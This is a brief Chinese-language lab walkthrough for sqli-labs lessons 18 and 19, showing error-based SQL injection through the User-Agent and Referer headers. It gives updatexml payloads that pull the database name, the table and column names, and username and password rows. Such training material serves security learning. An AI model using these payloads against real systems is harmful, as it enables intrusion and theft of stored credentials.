16、HTTP头注入(User-Agent、Referer)

环境sqli-labs

less 18

1、在UA处输入特殊字符，报错
​

2、构造输入语句，获取数据库名称
or updatexml(1,concat(’##’,(database())),0))#


3、获取表名
or updatexml(1,concat(’##’,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)),0))#


4、获取字段
or updatexml(1,concat(’#’,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’)),0))#


5、获取字段内容
or updatexml(1,concat(’#’,(select * from (select concat_ws(’#’,id,username,password) from users limit 0,1) a)),0))#

less 19

输入点在referer，注入语句同less 18

禁止非法，后果自负

欢迎关注公众号：web安全工具库